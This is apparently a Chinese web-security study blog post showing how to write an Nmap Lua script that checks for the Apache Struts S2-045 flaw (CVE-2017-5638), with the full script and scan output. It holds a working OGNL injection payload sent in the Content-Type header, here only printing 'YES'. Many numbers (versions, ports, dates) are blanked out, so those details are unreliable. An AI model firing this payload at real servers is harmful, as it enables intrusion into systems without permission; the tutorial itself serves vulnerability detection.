Web安全学习笔记之Nmap脚本编写

2023-08-24 13:41:40

0x00 Nmap脚本简介

夜无眠，看了一下Nmap官方的英文API文档(全是English)，瞬间心态崩塌，不想吐槽它们的nmap官网前端太丑了=。=，但是都是大牛啊，挺敬佩开源开发者的。

Nmap最灵活的就是它的scripts了，在渗透测试中我们经常会用它来扫描服务、漏洞，而且很多脚本也可以用于漏洞利用，总之就是很强大啦～ 具体的介绍在这里：Nmap脚本使用指南

看过《Nmap渗透指南》一书，发现书中对于Nmap脚本的编写是轻描淡写，所以本文就利用一个漏洞实例给大家详细说说这个脚本如何开发的。PS：并没有说这本书不好，其实很好很好的。

0x01 实战编写前的思路

今天我用“Struts S2-045”这个漏洞来编写一个漏洞检测脚本。

PS：此文需要一点Lua语言基础。我也就看了个半调子 ，才写的这个文章，Lua大牛误喷。

思路： 它主要是给服务器端发送一个http请求，这个请求里的Content-type中就是我们的利用代码了。在这里可以称之为Payload。

相关链接：Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法

我们先把Payload拿出来：

%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('YES')).(#o.close())}

可以看到有一个YES，当服务器端相应YES的时候，我们就判定这个服务器存在此漏洞。

根据官方的文档，我们先载入指定的扩展库：

--

local http = require "http"

local shortport = require "shortport"

local stdnse = require "stdnse"

local string = require "string"

local vulns = require "vulns"

这些基本用于发送HTTP请求、字符串操作、漏洞结果生成、错误调试

添加一个漏洞描述 ：

description = [[

The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

References:

* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

* http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474

]]

这里我给出了CNVD和CVE编号的详细地址。

使用结果，这块可有可无，因为都是注释起来的：

-- @usage

-- nmap -sV -p- --script struts2-s2- <target>

-- nmap -sV -p- --script struts2-s2- --script-args uri=/aa.action <target>

-- @output

-- PORT   STATE SERVICE REASON

-- /tcp open  http    syn-ack

-- | struts:

-- |   VULNERABLE:

-- |   Struts S2-

-- |     State: VULNERABLE (Exploitable)

-- |     IDs:  CVE:CVE--

-- |       The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

-- |

-- |     Disclosure date: --

-- |     References:

-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

-- |       http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474

-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

添加作者：

author = {"email:payloads@aliyun.com bLog:payloads.online company:leafsec.com"}

这里我给出了我的邮箱、博客，当然只是个字符串，自己想写啥就写啥。但是你要在用户的角度考虑，参数以及说明尽量人性化。

0x02 第一个函数-前奏

portrule = function(host,port)

    -- return port.protocol == "tcp" and port.number ==  and port.state == "open"

    return true

end

这个函数主要用于“第一次检测”，算是一个规则。

portrule变量名不可改变，否则会解析错误。

当这个函数范围true的时候， 我们的漏洞检测函数才会被自动调用。

可以看到函数中有一行被注释了，这一行的意思是当前请求的协议是TCP并且端口号是8899并且是端口是打开状态，才会返回true。

如果当前函数返回false，那么漏洞检测函数就不会被调用，会继续下一个目标或端口的扫描。

当我们直接返回true，那么每个目标端口都会被传递给漏洞检测函数。

听我说了这么多，漏洞检测函数到底是什么？

0x03 第二个函数-高潮

action = function(host, port)

  local useragent = stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil

  local cookie = stdnse.get_script_args(SCRIPT_NAME..".cookie") or nil

  local referer = stdnse.get_script_args(SCRIPT_NAME..".referer") or nil

  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'

  local req = generate_http_req(host, port, uri,useragent,cookie,referer)

  if string.match(req.body, 'YES') then

    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

    local vuln = {

      title = 'Struts S2-045',

      state = vulns.STATE.VULN,

      description = [[

The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

      ]],

      IDS = {CVE = 'CVE-2017-5638'},

      references = {

        'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',

        'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'

      },

      dates = {

        disclosure = {year = '', month = '', day = ''},

      }

    }

    stdnse.debug1("There is a vulnerability in the current host")

    vuln.state = vulns.STATE.EXPLOIT

    return vuln_report:make_output(vuln)

  end

end

第二个函数就是action啦～

stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil

stdnse用于处理用户的输入，这里调用了get_script_args用来接收用户输入的useragent参数值。

接下来我调用了一个自定义函数：

function generate_http_req(host, port, uri, useragent,cookie,referer)

  local payload = '%{(#nikenb=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(\'YES\')).(#o.close())}'

  local options = {header={}}

  options["no_cache"] = true

  options["header"]["User-Agent"] = useragent or 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'

  options["header"]["Referer"] = referer or 'NULL'

  options["cookies"] = cookie or 'NULL'

  options["header"]["Content-Type"] = payload

  stdnse.debug1("Start scanning the vulnerability")

  local req = http.get(host, port, uri, options)

  return req

end

这里面有我们的Payload，然后装填User-Agent、Referer、Cookies、Content-Type、uri地址。

stdnse.debug1()这个函数用于输出调试信息，如果你要查看调试信息，那就在扫描的时候带上-d参数

最后我们用了http库中的get方法，发送了一个请求，返回一个结果对象。

是不是和Python差不多呢？ :)

获取了结果对象我们就可以进行内容匹配了，如果在内容中寻找到我们的“YES”，那么就存在漏洞。
if string.match(req.body, 'YES') then

    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

    local vuln = {

      title = 'Struts S2-045',

      state = vulns.STATE.VULN,

      description = [[

The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

      ]],

      IDS = {CVE = 'CVE-2017-5638'},

      references = {

        'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',

        'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'

      },

      dates = {

        disclosure = {year = '', month = '', day = ''},

      }

    }

    stdnse.debug1("There is a vulnerability in the current host")

    vuln.state = vulns.STATE.EXPLOIT

    return vuln_report:make_output(vuln)

  end

这块就是做了一个字符串匹配，难点在于产生漏洞结果。

local vuln = {

      title = 'Struts S2-045',

      state = vulns.STATE.VULN,}

这个vuln的state属性就用来标识是否存在漏洞的。

如果存在漏洞，就赋值vulns.STATE.VULN，如果不存在，就赋值vulns.STATE.NOT_VULN

0x04 总结

具体可以多看看那些漏洞利用脚本，因为官方文档真的是不够全面，需要比较深的Lua功底才可以玩的666。

下面贴出完整代码：

--

local http = require "http"

local shortport = require "shortport"

local stdnse = require "stdnse"

local string = require "string"

local vulns = require "vulns"

description = [[

The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

References:

* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

* http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474

]]

-- @usage

-- nmap -sV -p- --script struts2-s2- <target>

-- nmap -sV -p- --script struts2-s2- --script-args uri=/aa.action <target>

-- @output

-- PORT   STATE SERVICE REASON

-- /tcp open  http    syn-ack

-- | struts:

-- |   VULNERABLE:

-- |   Struts S2-

-- |     State: VULNERABLE (Exploitable)

-- |     IDs:  CVE:CVE--

-- |       The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

-- |

-- |     Disclosure date: --

-- |     References:

-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

-- |       http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474

-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

--

---

author = {"email:payloads@aliyun.com bLog:payloads.online company:leafsec.com"}

license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

-- categories = {"exploit","vuln","intrusive"}

-- portrule = shortport.http

portrule = function(host,port)

    -- return port.protocol == "tcp" and port.number ==  and port.state == "open"

    return true

end

function generate_http_req(host, port, uri, useragent,cookie,referer)

  local payload = '%{(#nikenb=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(\'YES\')).(#o.close())}'

  local options = {header={}}

  options["no_cache"] = true

  options["header"]["User-Agent"] = useragent or 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'

  options["header"]["Referer"] = referer or 'NULL'

  options["cookies"] = cookie or 'NULL'

  options["header"]["Content-Type"] = payload

  stdnse.debug1("Start scanning the vulnerability")

  local req = http.get(host, port, uri, options)

  return req

end

action = function(host, port)

  local useragent = stdnse.get_script_args(SCRIPT_NAME..".useragent") or nil

  local cookie = stdnse.get_script_args(SCRIPT_NAME..".cookie") or nil

  local referer = stdnse.get_script_args(SCRIPT_NAME..".referer") or nil

  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'

  local req = generate_http_req(host, port, uri,useragent,cookie,referer)

  if string.match(req.body, 'YES') then

    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

    local vuln = {

      title = 'Struts S2-045',

      state = vulns.STATE.VULN,

      description = [[

The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

      ]],

      IDS = {CVE = 'CVE-2017-5638'},

      references = {

        'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638',

        'http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474'

      },

      dates = {

        disclosure = {year = '', month = '', day = ''},

      }

    }

    stdnse.debug1("There is a vulnerability in the current host")

    vuln.state = vulns.STATE.EXPLOIT

    return vuln_report:make_output(vuln)

  end

end

在portrule 绑定的规则中可以自定义扫描规则来决定是否进行扫描

下面我们开启debug模式看看扫描结果：

nmap --script /home/liyingzhe/PycharmProjects/untitled/struts.nse 127.0.0.1 -d

Web安全学习笔记之Nmap脚本编写

Web安全学习笔记之Nmap脚本编写

关闭调试模式的扫描结果：

Web安全学习笔记之Nmap脚本编写

liyingzhe : /usr/share/nmap $nmap --script /home/liyingzhe/PycharmProjects/untitled/struts.nse 127.0.0.1

Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-03 03:09 CST

Nmap scan report for localhost (127.0.0.1)

Host is up (.000051s latency).

Not shown:  closed ports

PORT     STATE SERVICE

/tcp   open  http

/tcp  open  ipp

/tcp open  socks

|_struts: ERROR: Script execution failed (use -d to debug)

/tcp open  mysql

|_struts: ERROR: Script execution failed (use -d to debug)

/tcp open  ospf-lite

| struts:

|   VULNERABLE:

|   Struts S2-

|     State: VULNERABLE (Exploitable)

|     IDs:  CVE:CVE--

|       The Jakarta Multipart parser in Apache Struts  2.3.x before 2.3. and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March .

|

|     Disclosure date: --

|     References:

|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

|       http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474

|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

Nmap done:  IP address ( host up) scanned in 7.20 seconds

liyingzhe : /usr/share/nmap $

参考

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